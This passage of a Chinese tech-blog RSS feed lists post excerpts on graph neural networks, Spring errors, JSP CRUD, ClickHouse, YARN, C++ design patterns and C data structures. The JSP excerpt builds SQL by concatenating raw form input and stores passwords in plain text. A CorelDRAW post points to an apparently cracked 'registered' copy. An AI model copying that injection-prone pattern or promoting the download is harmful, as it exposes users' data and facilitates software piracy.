中如果图数据集是同配性网络（assortative）那么低通滤波有很好的表现，因为低频信息反映了节点之间的相关性。相反图数据集是异配型网络（disassortative）那么高通滤波更有优势，因为高频信息反映了节点之间的差异性。&#xA;作者提出了为了综合考虑低频信息和高频信息所需要注意的问题：&#xA;(1)低频和高频信号都是原始特征的组成部分。传统的滤波器是针对某一特定信号而设计的，不能很好地同时提取不同频率的信号。&#xA;(2)即使我们可以提取不同的信息，但是现实世界网络的协调性通常是不可知的，变化很大，而且任务与不同信息之间的相关性非常复杂，所以很难决定应该使用哪种信号:原始特征，低频信号，高频信号或它们的组合。&#xA;FAGCN 的设计策略如下：&#xA;利用图信号处理的理论，定义了一个增强的低通和高通滤波器，从原始特征中分离低频和高频信号。设计一种自我门控机制，在不知道网络类型的情况下，自适应地整合低频信号、高频信号和原始特征。 3. An Experimental Investigation 作者在本节设计了一个实验详细探讨了低频信息和高频信息在学习节点的表示的时候所扮演的角色。&#xA;以低频和高频信号为例，分析它们在学习节点表示中的作用。主要思想是逐步增加合成网络的异配性，并观察这两种信号的性能如何变化。&#xA;网络的生成过程如下：生成一个有 200 个节点的网络，并将其随机分为 2 类。对于第一类节点从高斯分布 N ( 0.5 , 1 ) \mathcal{N}(0.5,1) N(0.5,1) 中抽取 20 维特征向量，而对于第二类节点从高斯分布 N ( − 0.5 , 1 ) \mathcal{N}(−0.5,1) N(−0.5,1) 中抽取 20 维特征向量。此外，同一类的连接是由概率 p = 0.05 p = 0.</description>
    </item>
    <item>
      <title>Error starting ApplicationContext. To display the conditions report re-run your application with ‘de</title>
      <link>https://bchobby.github.io/posts/f3b8390c8707d5e2471e444423eb6ac6/</link>
      <pubDate>Sat, 24 Apr 2021 14:15:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f3b8390c8707d5e2471e444423eb6ac6/</guid>
      <description>你遇到的错误，可能是如下所示，提示里面多次提示spring-context-5.2.14.RELEASE.jar:5.2.14.RELEASE与spring-boot-2.3.10.RELEASE.jar:2.3.10.RELEASE，我们很可能会以为是版本冲突问题，我换了很多版本，结果都不是。&#xA;Error starting ApplicationContext. To display the conditions report re-run your application with &#39;debug&#39; enabled. 2021-04-24 12:41:12.026 ERROR 9464 --- [ main] o.s.boot.SpringApplication : Application run failed org.springframework.beans.factory.BeanDefinitionStoreException: Failed to parse configuration class [ProductApplication]; nested exception is java.lang.IllegalArgumentException: Could not find class [org.springframework.hateoas.client.LinkDiscoverers] at org.springframework.context.annotation.ConfigurationClassParser.parse(ConfigurationClassParser.java:189) ~[spring-context-5.2.14.RELEASE.jar:5.2.14.RELEASE] at org.springframework.context.annotation.ConfigurationClassPostProcessor.processConfigBeanDefinitions(ConfigurationClassPostProcessor.java:320) ~[spring-context-5.2.14.RELEASE.jar:5.2.14.RELEASE] at org.springframework.context.annotation.ConfigurationClassPostProcessor.postProcessBeanDefinitionRegistry(ConfigurationClassPostProcessor.java:237) ~[spring-context-5.2.14.RELEASE.jar:5.2.14.RELEASE] at org.springframework.context.support.PostProcessorRegistrationDelegate.invokeBeanDefinitionRegistryPostProcessors(PostProcessorRegistrationDelegate.java:280) ~[spring-context-5.2.14.RELEASE.jar:5.2.14.RELEASE] at org.springframework.context.support.PostProcessorRegistrationDelegate.invokeBeanFactoryPostProcessors(PostProcessorRegistrationDelegate.java:96) ~[spring-context-5.2.14.RELEASE.jar:5.2.14.RELEASE] at org.springframework.context.support.AbstractApplicationContext.invokeBeanFactoryPostProcessors(AbstractApplicationContext.java:707) ~[spring-context-5.2.14.RELEASE.jar:5.2.14.RELEASE] at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:533) ~[spring-context-5.2.14.RELEASE.jar:5.2.14.RELEASE] at org.springframework.boot.web.servlet.context.ServletWebServerApplicationContext.refresh(ServletWebServerApplicationContext.java:143) ~[spring-boot-2.3.10.RELEASE.jar:2.3.10.RELEASE] at org.springframework.boot.SpringApplication.refresh(SpringApplication.java:755) ~[spring-boot-2.</description>
    </item>
    <item>
      <title>JSP数据库增删改查</title>
      <link>https://bchobby.github.io/posts/12b23eb144a94c8a521a09f1b71841d7/</link>
      <pubDate>Sat, 24 Apr 2021 10:55:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/12b23eb144a94c8a521a09f1b71841d7/</guid>
      <description> 登录界面，差不对和QQ登录相似。&#xA;1：用户名，密码，输入框，登录，取消，注册这些是基本的格式，如果想在丰富一下可以插入一些图片。制作表单，点击登录会跳转到这个文件中。&#xA;2：跳转到do_login.jsp页面，这个页面是连接数据库，和数据库数据进行比对，如果有这个数据，则跳转到其他页面，如果没有则跳转到注册页面。&#xA;连接数据库的步骤：&#xA;①：Class.forName()进行数据库驱动。②：URL，username，password，分别代表数据库路径，用户名，密码，进而可以连接数据库。③：连接完成，要创建一个‘盒子’来装数据，④：之后Result方法来获取‘盒子’中的数据，rs.next()会依次寻找符合的数据，找到成功之后，用了一个方法会自动跳转，&#xA;response.setHeader(&#34;refresh&#34;,&#34;2;url=user_list1.jsp&#34;); refresh：刷新 2：2秒 url：跳转路径&#xA;， 3：跳转成功后，我要显示数据库中所有的数据，并且在这个界面，实现是否修和删除。步骤如下：连接数据库，获得‘盒子’中的数据，用while语句输出&#xA;4：跳转失败后，进入注册表单，里面有用户名，密码，性别，爱好，email，注册按钮，重填按钮。和上面的QQ登录界面差不多，一个表单，点击注册按钮后，进入数据库插入界面。&#xA;5： 注册完毕后，进入插入界面，user_insert.jsp,还是要连接数据库，获取你刚才注册的数据，在插入代码中进行连接。这个获取结果集和其他的不一样，是在‘盒子’里面加载的，当i==1时，注册成功，插入成功，还是要刷新，跳转。&#xA;int i=stmt.executeUpdate(sql);//获得结果集 query 查询&#xA;String s=&#34;(&#39;&#34;+name+&#34;&#39;,&#39;&#34;+passwd+&#34;&#39;,&#39;&#34;+sex+&#34;&#39;,&#39;&#34;+message+&#34;&#39;,&#39;&#34;+email+&#34;&#39;)&#34;;&#xA;String sql=&#34;insert into bookshop(username,password,gender,hobby,email) values &#34;+s;&#xA;6：插入完成，之后再进行修改和删除，这个是在登录成功之后就可以在那个界面就可以运行。&#xA;7： </description>
    </item>
    <item>
      <title>ClickHouse JSON  函数用法</title>
      <link>https://bchobby.github.io/posts/1af0a10099e654830adef33bc09a6e22/</link>
      <pubDate>Fri, 23 Apr 2021 21:49:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1af0a10099e654830adef33bc09a6e22/</guid>
      <description>ClickHouse 支持的JSON函数 SELECT name FROM system.functions WHERE name LIKE &#39;%JSON%&#39; ;&#xA;-- 1.判断JSON是否合法&#xA;SELECT isValidJSON(&#39;{&#34;a&#34;:1}&#39;) as isValid;&#xA;┌─isValid─┐&#xA;│ 1 │&#xA;└──────┘&#xA;--2. 判断JSON是否存在某个值&#xA;select JSONHas(&#39;{&#34;a&#34;: &#34;hello&#34;, &#34;b&#34;: [-100, 200.0, 300]}&#39;, &#39;b&#39;) exist ;&#xA;┌─exist─┐&#xA;│ 1 │&#xA;└─────┘&#xA;-- 3.JSON 返回值的类型&#xA;SELECT&#xA;JSONType(&#39;{&#34;a&#34;: &#34;hello&#34;, &#34;b&#34;: [-100, 200.0, 300]}&#39;, &#39;a&#39;) AS a_type,&#xA;JSONType(&#39;{&#34;a&#34;: &#34;hello&#34;, &#34;b&#34;: [-100, 200.0, 300]}&#39;, &#39;b&#39;) AS b_type;&#xA;┌─a_type─┬─b_type─┐&#xA;│ String │ Array │&#xA;└──────┴───────┘&#xA;--4.JSON 对象长度</description>
    </item>
    <item>
      <title>YARN调度器【capacity-scheduler.xml】默认配置</title>
      <link>https://bchobby.github.io/posts/b7d4584c1342460e2e378ec97f34ed67/</link>
      <pubDate>Fri, 23 Apr 2021 21:09:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7d4584c1342460e2e378ec97f34ed67/</guid>
      <description>Hadoop版本：3.1.3 1、三种常见调度器1.1、先进先出调度器1.2、容量调度器1.3、公平调度器 2、容量调度器 多队列配置3、单词4、默认配置【capacity-scheduler.xml】 1、三种常见调度器 1.1、先进先出调度器 first-in first-out schedulerFIFO Scheduler后入队的任务 要等待 前入队的任务 出队 可配置： 1、每个用户的最大资源占比，防止单个用户把资源占满 2、限制哪些用户可以提交应用到本队列 1.2、容量调度器 Capacity Scheduler相当于 多个 FIFO Scheduler不同队列上的任务可以并行（比如 3个队列就可以并行3个任务）相同队列上的任务不能并行 可配置： 1、默认容量占比：各个队列占据一定百分比的资源 （如：a队列40% b队列60%） 2、最大容量占比：队列占据的资源百分比的最大值 （如：a队列最大70%，当超出40%时，可以借b队列的空闲资源，最多借30%） 划分方式：&#xA;按业务划分（更常用）：下单、支付、物流…&#xA;按技术划分：HIVE、Spark、Flink…&#xA;1.3、公平调度器 Fair Scheduler和Capacity Scheduler类似，可以多队列配置；不同的是，叶子队列不是FIFO的在同一条叶子队列上，所有作业可以并发；&#xA;资源分配的依据：时间尺度、优先级、资源缺额… 在时间尺度上获得公平的资源&#xA;最大最小公平分配算法&#xA;2、容量调度器 多队列配置 1、编辑配置文件&#xA;vim $HADOOP_HOME/etc/hadoop/capacity-scheduler.xml 2、修改根队列下面的叶队列名称，逗号分隔（此处新增队列名称为hive）&#xA;&amp;lt;property&amp;gt; &amp;lt;name&amp;gt;yarn.scheduler.capacity.root.queues&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;default,hive&amp;lt;/value&amp;gt; &amp;lt;description&amp;gt;在根队列下设置叶队列名称&amp;lt;/description&amp;gt; &amp;lt;/property&amp;gt; 3、修改 名为default的队列 的容量占比&#xA;&amp;lt;property&amp;gt; &amp;lt;name&amp;gt;yarn.scheduler.capacity.root.default.capacity&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;40&amp;lt;/value&amp;gt; &amp;lt;description&amp;gt;设置root下名为default队列的容量占比&amp;lt;/description&amp;gt; &amp;lt;/property&amp;gt; 4、给新队列配置&#xA;&amp;lt;property&amp;gt; &amp;lt;name&amp;gt;yarn.scheduler.capacity.root.hive.capacity&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;60&amp;lt;/value&amp;gt; &amp;lt;description&amp;gt;root下名为hive的队列 的 容量占比&amp;lt;/description&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;yarn.scheduler.capacity.root.hive.user-limit-factor&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;1&amp;lt;/value&amp;gt; &amp;lt;description&amp;gt;每个用户可以占据该队列资源占比的上限（防止某用户把资源占满）&amp;lt;/description&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;yarn.</description>
    </item>
    <item>
      <title>C&#43;&#43;设计模式--Prototype 原型模式 和 Builder 构建器</title>
      <link>https://bchobby.github.io/posts/354aa74f20d24802734b541fa1fe65a8/</link>
      <pubDate>Fri, 23 Apr 2021 20:39:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/354aa74f20d24802734b541fa1fe65a8/</guid>
      <description>“对象创建”模式&#xA;通过“对象创建” 模式绕开new，来避免对象创建（new）过程中所导致的紧耦合（依赖具体类），从而支持对象创建的稳定。它是接口抽象之后的第一步工作。&#xA;典型模式&#xA;•Factory Method&#xA;•Abstract Factory&#xA;•Prototype&#xA;•Builder&#xA;1. Prototype 原型模式 动机(Motivation)&#xA;在软件系统中，经常面临着“某些结构复杂的对象&#34;的创建工作；由于需求的变化，这些对象经常面临着剧烈的变化，但是它们却拥有比较稳定一致的接口。如何应对这种变化？如何向“客户程序(使用这些对象的程序) &#34;隔离出“这些易变对象”，从而使得“依赖这些易变对象的客户程序&#34;不随着需求改变而改变? 代码示例&#xA;首先看一下工厂模式的代码&#xA;//抽象类 class ISplitter{ public: virtual void split()=0; virtual ~ISplitter(){} }; //工厂基类 class SplitterFactory{ public: virtual ISplitter* CreateSplitter()=0; virtual ~SplitterFactory(){} }; 将两个类合并，将CreateSplitter函数重命名为Clone函数，得到代码如下&#xA;//抽象类 class ISplitter{ public: virtual void split()=0; virtual ISplitter* clone()=0; //通过克隆自己来创建对象 virtual ~ISplitter(){} }; //具体类 class BinarySplitter : public ISplitter{ public: virtual ISplitter* clone(){ return new BinarySplitter(*this); // 通过拷贝构造函数创建对象 } }; class TxtSplitter: public ISplitter{ public: virtual ISplitter* clone(){ return new TxtSplitter(*this); } }; class PictureSplitter: public ISplitter{ public: virtual ISplitter* clone(){ return new PictureSplitter(*this); } }; class MainForm : public Form { ISplitter* prototype;//原型对象 public: MainForm(ISplitter* prototype){ this-&amp;gt;prototype=prototype; } void Button1_Click(){ ISplitter * splitter= prototype-&amp;gt;clone(); //克隆原型得到一个新对象 splitter-&amp;gt;split(); } }; 模式定义</description>
    </item>
    <item>
      <title>用VSCode开发Python工程</title>
      <link>https://bchobby.github.io/posts/26103464f116402f264b0d63c57c2627/</link>
      <pubDate>Fri, 23 Apr 2021 16:30:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/26103464f116402f264b0d63c57c2627/</guid>
      <description>入门Python Python的优缺点优点缺点 VSCode软件准备Python第三方库安装VSCode配置Python相关创建项目配置工作区配置启动项 VSCode插件开发 python 时报错 Python的优缺点 优点 开源免费，解释型语言跨平台，可扩展性强简单易用，学习成本低，看起来非常优雅干净标准库和第三库众多，开发的时间短，胶水语言 缺点 运行速度慢（解释型语言的通病）（对于个人来说，比手动快就OK，而且有些应用场景可以容忍速度慢）代码加密困难（对于普通人来说，仅用于提高效率，便捷生活，并不需要加密） VSCode VScode是一个相当优秀的IDE，具备开源、跨平台、模块化、插件丰富、轻量化、启动时间快、颜值高的特质&#xA;软件准备 下载地址如下：&#xA;Python：https://www.python.org/downloads/&#xA;VSCode：https://code.visualstudio.com/&#xA;Python推荐Python3最新版本即可&#xA;具体的安装教程，请自行搜索查阅（Python安装要记得勾选添加环境变量）&#xA;Python第三方库安装 首先检查下python是否安装成功&#xA;1、打开cmd，输入python，点击回车。&#xA;2、退出、输入pip list，检查第三库安装信息（安装默认自带的库）&#xA;安装第三方的包&#xA;通过python自带的pip工具，配置VScode需要的常用的库 flake8和yapf&#xA;flake8会检查编写代码时的不规范的地方和语法错误。&#xA;yapf是一个代码格式化工具，可以一键美化代码。&#xA;安装过程如下：&#xA;1、在cmd输入pip list检查是否已存在需要的包&#xA;2、输入pip install flake8下载安装flake8&#xA;3、输入pip install yapf下载安装yapf&#xA;VSCode配置Python相关 安装python插件&#xA;1、打开VScode，按下快捷键Ctrl+Shift+X，进入插件管理页面。&#xA;2、在搜索栏输入python。&#xA;3、选择插件，点击安装。&#xA;（因为我已经安装了，所以显示的是禁用/卸载）&#xA;安装中文插件&#xA;按下快捷键Ctrl+Shift+P，输入config，&#xA;选择 configure Display Language，然后选择zh-cn，重启&#xA;创建项目 创建一个本地文件夹，作为项目文件&#xA;配置工作区 1、点击设置图标，打开设置界面&#xA;2、选择工作区，配置工作区文件 settings.json&#xA;配置flake8和yapf并关闭pylint工具。&#xA;在工作区域输入以下内容：&#xA;{ &#34;python.linting.flake8Enabled&#34;: true, &#34;python.formatting.provider&#34;: &#34;yapf&#34;, &#34;python.linting.flake8Args&#34;: [&#34;--max-line-length=248&#34;], &#34;python.linting.pylintEnabled&#34;: false } 配置启动项 创建py文件，输入print(“Hello World”)</description>
    </item>
    <item>
      <title>C&#43;&#43;设计模式--Factory Method工厂方法和抽象工厂方法</title>
      <link>https://bchobby.github.io/posts/c99743c3609257b8124f0579b80734f2/</link>
      <pubDate>Fri, 23 Apr 2021 16:09:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c99743c3609257b8124f0579b80734f2/</guid>
      <description>“对象创建”模式&#xA;通过“对象创建” 模式绕开new，来避免对象创建（new）过程中所导致的紧耦合（依赖具体类），从而支持对象创建的稳定。它是接口抽象之后的第一步工作。&#xA;典型模式&#xA;•Factory Method&#xA;•Abstract Factory&#xA;•Prototype&#xA;•Builder&#xA;1. Factory Method工厂方法 动机（Motivation）&#xA;在软件系统中，经常面临着创建对象的工作；由于需求的变化，需要创建的对象的具体类型经常变化。&#xA;如何应对这种变化？如何绕过常规的对象创建方法(new)，提供一种“封装机制”来避免客户程序和这种“具体对象创建工作”的紧耦合？&#xA;class FileSplitter { //... void split(){ //... } }; class MainForm : public Form { //... public: void Button1_Click(){ string filePath = txtFilePath-&amp;gt;getText(); int number = atoi(txtFileNumber-&amp;gt;getText().c_str()); FileSplitter* splitter = new FileSplitter(); //应该声明为抽象类，而不是具体的类型 splitter-&amp;gt;split(); } }; 在上面代码中，实现了文件分割器。一个类型，要看到未来变化的需求。这是就要做抽象类，即面向接口的编程。一个对象的类型，往往应该声明为抽象类或者接口，而不应该声明成具体的类。如果声明为具体类型，就定死了，不能应对未来的变化。&#xA;假设还要支持文本分割TxtSplitter()、图片分割PictureSplitter()等等。抽象出一个基类ISplitter()。&#xA;class ISplitter{ // 抽象基类 public: virtual void split()=0; virtual ~ISplitter(){} }; class BinarySplitter : public ISplitter{ }; class TxtSplitter: public ISplitter{ }; class PictureSplitter: public ISplitter{ }; class MainForm : public Form { TextBox* txtFilePath; TextBox* txtFileNumber; ProgressBar* progressBar; public: void Button1_Click(){ //.</description>
    </item>
    <item>
      <title>可重入锁简单理解</title>
      <link>https://bchobby.github.io/posts/5c839769b1ccd26ca63b98832878f26f/</link>
      <pubDate>Fri, 23 Apr 2021 10:52:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c839769b1ccd26ca63b98832878f26f/</guid>
      <description>可重入锁，指的是以线程为单位，当一个线程获取对象锁之后，这个线程可以再次获取本对象上的锁，而其他的线程是不可以的。&#xA;synchronized 和 ReentrantLock 都是可重入锁。&#xA;可重入锁的意义之一在于防止死锁。&#xA;实现原理实现是通过为每个锁关联一个请求计数器和一个占有它的线程。当计数为0时，认为锁是未被占有的；线程请求一个未被占有的锁时，JVM将记录锁的占有者，并且将请求计数器置为1 。&#xA;如果同一个线程再次请求这个锁，计数器将递增；&#xA;每次占用线程退出同步块，计数器值将递减。直到计数器为0,锁被释放。&#xA;可重入锁指的是在一个线程中可以多次获取同一把锁，比如：&#xA;一个线程在执行一个带锁的方法，该方法中又调用了另一个需要相同锁的方法，则该线程可以直接执行调用的方法，而无需重新获得锁；</description>
    </item>
    <item>
      <title>C&#43;&#43;设计模式--Bridge 桥模式</title>
      <link>https://bchobby.github.io/posts/15127d287c9dca5da58d186e8e6c4d67/</link>
      <pubDate>Fri, 23 Apr 2021 09:15:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/15127d287c9dca5da58d186e8e6c4d67/</guid>
      <description>单一职责”模式:&#xA;在软件组件的设计中，如果责任划分的不清晰，使用继承得到的结果往往是随着需求的变化，子类急剧膨胀，同时充斥着重复代码，这时候的关键是划清责任。&#xA;典型模式&#xA;• Decorator&#xA;• Bridge&#xA;1. Bridge 桥模式 动机（Motivation）&#xA;由于某些类型的固有的实现逻辑，使得它们具有两个变化的维度，乃至多个纬度的变化。&#xA;如何应对这种“多维度的变化”？如何利用面向对象技术来使得类型可以轻松地沿着两个乃至多个方向变化，而不引入额外的复杂度？&#xA;代码示例&#xA;class Messager{ public: virtual void Login(string username, string password)=0; virtual void SendMessage(string message)=0; virtual void SendPicture(Image image)=0; virtual void PlaySound()=0; // 播放声音 virtual void DrawShape()=0; // 画图像 virtual void WriteText()=0; // 写文本 virtual void Connect()=0; // 连接网络 virtual ~Messager(){} }; //平台实现 class PCMessagerBase : public Messager{ //PC平台 public: virtual void PlaySound(){ //********** } virtual void DrawShape(){ //********** } virtual void WriteText(){ //********** } virtual void Connect(){ //********** } }; class MobileMessagerBase : public Messager{ //Mobile平台 public: virtual void PlaySound(){ //========== } virtual void DrawShape(){ //========== } virtual void WriteText(){ //========== } virtual void Connect(){ //========== } }; //业务抽象 class PCMessagerLite : public PCMessagerBase { // PC平台精简版 public: virtual void Login(string username, string password){ PCMessagerBase::Connect(); //.</description>
    </item>
    <item>
      <title>最好用的coreldraw2020中文版，安装好后不显示评估版，显示已注册</title>
      <link>https://bchobby.github.io/posts/865f2d502a3788e0383cf9a93cb6dba5/</link>
      <pubDate>Thu, 22 Apr 2021 23:54:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/865f2d502a3788e0383cf9a93cb6dba5/</guid>
      <description>​CorelDRAW Graphics Suite是加拿大Corel公司的平面设计软件&#xA;CorelDRAW Graphics Suite非凡的设计能力广泛地应用于商标设计、标志制作、模型绘制、插图描画、排版及分色输出等等诸多领域。作为一个强大的绘图软件，它被喜爱的程度可用事实说明：用作商业设计和美术设计的PC机几乎都安装了 。&#xA;CorelDRAW让您轻松应对创意图形设计项目。市场领先的文件兼容性以及高质量的内容可帮助您将创意变为专业作品：从与众不同的徽标和标志到引人注目的营销材料以及令人赏心悦目的Web图形，应有尽有。&#xA;CorelDRAW界面设计友好，空间广阔，操作精微细致。它提供了设计者一整套的绘图工具包括圆形、矩形、多边形、方格、螺旋线，等等，并配合塑形工具，对各种基本以作出更多的变化，如圆角矩形，弧、扇形、星形等。同时也提供了特殊笔刷如压力笔、书写笔、喷洒器等，以便充分地利用电脑处理信息量大，随机控制能力高的特点。&#xA;coreldraw2020中文版，目前看来这个最好用了。&#xA;具体下载地址见：https://mp.weixin.qq.com/s/e-rumQ66ZYe69iFd2C9p1w</description>
    </item>
    <item>
      <title>Python——字符串的拼接</title>
      <link>https://bchobby.github.io/posts/dd4a05e7555748e4254cb49f3b1923e7/</link>
      <pubDate>Thu, 22 Apr 2021 22:59:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd4a05e7555748e4254cb49f3b1923e7/</guid>
      <description> 字符串的拼接：名字的组成 将两个不同的字符串，拼接形成一个字符串，并将新字符串输出来。字符串或串（String）是由数字、字母、下划线组成的一串字符。在&#xA;Python 中，字符串用单引号或者双引号括起来。在很多情况下，我们需要将两个字符串拼接起来，形成一个字符串。 例如，一个人的姓名，通常是由“姓氏”+“名字”组成的。在很多程序中，为了方便后续处理，通常将姓氏和名字分别存在两个变量中。然后在显示时，要将姓氏和名字拼接起来，按全名显示。&#xA;first_name = &#39;Zhang&#39; last_name = &#39;san&#39; 输出如下：&#xA;full_name = &#39;Zhang san&#39; 相关知识&#xA;Python 中使用+来合并两个字符串，这种合并字符串的方法叫做拼接。其基本语法如下：&#xA;result_string = source_string1 + source_string2 其中：&#xA;source_string1：待合并的第一个字符串；&#xA;source_string2：待合并的第二个字符串；&#xA;result_string：合并后的字符串。&#xA;注意：如果需要，在两个字符串之间可以增加相应的空格，具体见下面的例子。例如，将姓氏和名字拼接成全名： # coding=utf-8 # 将姓氏和名字分别保存在两个变量中 first_name = &#39;Zhang&#39; last_name = &#39;san&#39; # 将姓氏和名字拼接，将结果存储在full_name变量中 full_name = first_name + &#34; &#34; + last_name print(full_name) 输出结果：&#xA;Zhang san 编程要求 实现如下功能： 1.将存放姓氏的字符串变量和存放名字的字符串变量拼接起来&#xA;中间用一个空格隔开，并将结果存储在full_name变量中；&#xA;2.打印输出full_name变量。&#xA;测试说明&#xA;测试输入：&#xA;Hu dong 预期输出：&#xA;Hu dong 上代码：&#xA;如果注释理解有误，请大佬们多多评论指教！！ </description>
    </item>
    <item>
      <title>常用数据结构与经典算法 简单讲解与示例代码</title>
      <link>https://bchobby.github.io/posts/0a6df5e0bacdc40d108d406a3507a89d/</link>
      <pubDate>Thu, 22 Apr 2021 22:19:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0a6df5e0bacdc40d108d406a3507a89d/</guid>
      <description>数据结构与算法 数据结构与算法是一个学习计算机绕不过去的话题，而我们大学之中多数课程之中都使用伪代码进行讲解，给对我们的学习理解也是一把双刃剑，虽然可以让我们自己通过算法、思路自己写出程序，但也可能“一叶障目”致使我们迟迟不知道具体到程序语言上问题出在哪里&#xA;所以我想自己使用不同的程序设计语言编写简单的数据结构和讲解一些经典的算法，在复习和记录的过程之中也和大家一起交流讨论数据结构与算法的一些巧妙的设计和个人见解与跳过的“坑”，各位共勉。&#xA;帖子会慢慢更新，当然速度可能不太能保证，也可能在后续的更新之中调整文章结构。&#xA;常用数据结构 数据结构与算法线性表线性表简介线性表示例代码单链表实例 学生信息链表 循环链表循环链表简介循环链表示例代码 静态链表静态链表简介静态链表示例代码 双向链表双向链表简介双向链表示例代码 栈（stack）又名堆栈栈简介栈示例代码链式栈 示例代码 经典算法——递归与回溯汉诺塔八皇后问题 数据结构相关问题维吉尼亚密码表魔术师发牌问题约瑟夫问题后缀表达式 线性表 线性表简介 定义&#xA;线性表是最基本、最简单、也是最常用的一种数据结构。线性表（linear list）是数据结构的一种，一个线性表是n个具有相同特性的数据元素的有限序列。&#xA;优点&#xA;线性表的逻辑结构简单，便于实现和操作。因此，线性表这种数据结构在实际应用中是广泛采用的一种数据结构。&#xA;特征&#xA;1．集合中必存在唯一的一个“第一元素”。&#xA;2．集合中必存在唯一的一个 “最后元素” 。&#xA;3．除最后一个元素之外，均有唯一的后继。&#xA;4．除第一个元素之外，均有唯一的前驱。&#xA;线性表示例代码 代码（C语言）&#xA;链式线性表 Visual Studio 2019&#xA;/** * 数据结构 C语言链式线性表 * @FileName&#x9;SingleLinkList.c * @author&#x9;W.Lionel.Esaka */ #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; typedef int DataType; #define Status int; #define CORRECT 1; #define ERROR 0; #define OVERFLOW -1; /*单链表的类型定义如下*/ typedef struct node{ DataType data; struct node* next; } LinkNode, * LinkList; /*创建指定长度单链表 尾插法*/ void CreateListTail(LinkList* list, int Number) { LinkList node, r; int i; srand(time(0)); *list = (LinkList*)malloc(sizeof(LinkList)); r = *list; for (i = 0; i &amp;lt; Number; i++) { node = (LinkNode*)malloc(sizeof(LinkNode)); node-&amp;gt;data = rand() % 100 + 1; r-&amp;gt;next = node; r = node; } r-&amp;gt;next = NULL; } /* 插入元素 */ Status InsertLinkList(LinkList* list, int position, DataType value) { int i = 1; LinkList p, s; p = *list; while (p &amp;amp;&amp;amp; i &amp;lt; position) { p = p-&amp;gt;next; i++; } if ( !</description>
    </item>
    <item>
      <title>cocos2dx 3.17.2 集成 FairyGUI【将c&#43;&#43;代码加进项目】(2)</title>
      <link>https://bchobby.github.io/posts/2784cbede696f5f511eb9edf0499c527/</link>
      <pubDate>Thu, 22 Apr 2021 20:15:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2784cbede696f5f511eb9edf0499c527/</guid>
      <description>1：参考资料 https://www.jianshu.com/p/547e584e05d8&#xA;https://www.cnblogs.com/whj0402/p/12034412.html&#xA;2：主流程 1.复制libfairygui到frameworks\cocos2d-x\cocos\editor-support\fairygui 2.在VS中添加libfairygui库，右键解决方案/添加/现有项目。 有报错，这个是为了构建fairgui例子工程设置的路径，手动改下路径也可以&#xA;实际地址：E:\cocos\FightSystem\frameworks\cocos2d-x\cocos\2d&#xA;修改为对应路径即可&#xA;添加库依赖&#xA;编译成功，绑定lua测试下先</description>
    </item>
    <item>
      <title>C&#43;&#43;面向对象的编程-练习3（学生成绩设置与输出，静态数据成员的运用）</title>
      <link>https://bchobby.github.io/posts/0b369acb3753894edbf7a0be593cf2c9/</link>
      <pubDate>Thu, 22 Apr 2021 19:56:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b369acb3753894edbf7a0be593cf2c9/</guid>
      <description>声明一个Student类，在该类中包括一个数据成员：score（代表课程成绩）、两个静态数据成员：total_score（代表总分），count（代表学生总人数）。成员函数有：构造函数、析构函数、account（int）用于设置分数、静态成员函数sum()返回所有学生的总成绩、静态成员函数average()返回所有学生的平均成绩、print()用于打印当前学生对象的成绩等。在主程序中，输入某班同学的成绩，并调用上述函数打印全班同学的成绩、求出全班学生的成绩之和与平均分等。&#xA;·&#xA;#include&amp;lt;iostream&amp;gt; using namespace std; class Student { public: Student(int);//&#x9;构造函数 ~Student();//&#x9;析构函数 void account(int);//&#x9;设置分数&#x9;static int sum();//&#x9;返回总成绩 static double average();//&#x9;返回平均成绩 void print();//&#x9;打印输出Student的相关信息 private: int score;//&#x9;分数 static int total_score;//&#x9;定义静态数据成员总分 static int count;//&#x9;定义静态数据成员总人数 }; Student::Student(int sco)//&#x9;构造函数 { score = sco; total_score = total_score + score; count++; } Student::~Student()//&#x9;析构函数 { cout &amp;lt;&amp;lt; &#34;成绩为:&#34; &amp;lt;&amp;lt; score &amp;lt;&amp;lt;&#34; &#34;; } void Student::account(int sco) { score = sco; total_score = total_score-score+sco; } int Student::sum() { return total_score; } double Student::average() { double a; a = (double)total_score / count; return a; } void Student::print() { cout &amp;lt;&amp;lt; &#34;</description>
    </item>
    <item>
      <title>idea 配置maven，不然每次新建项目都要重新设置</title>
      <link>https://bchobby.github.io/posts/fd3675fb8428a17b29f9da1f59e9feff/</link>
      <pubDate>Thu, 22 Apr 2021 18:57:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd3675fb8428a17b29f9da1f59e9feff/</guid>
      <description>我这个是IDEA 2020.3版本。两步解决。</description>
    </item>
    <item>
      <title>cocos2dx 3.17.2 集成 FairyGUI【构建FairyGUI例子项目】(1)</title>
      <link>https://bchobby.github.io/posts/71c75e5ad3021dc94337e5e34a2ec1ee/</link>
      <pubDate>Thu, 22 Apr 2021 17:15:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71c75e5ad3021dc94337e5e34a2ec1ee/</guid>
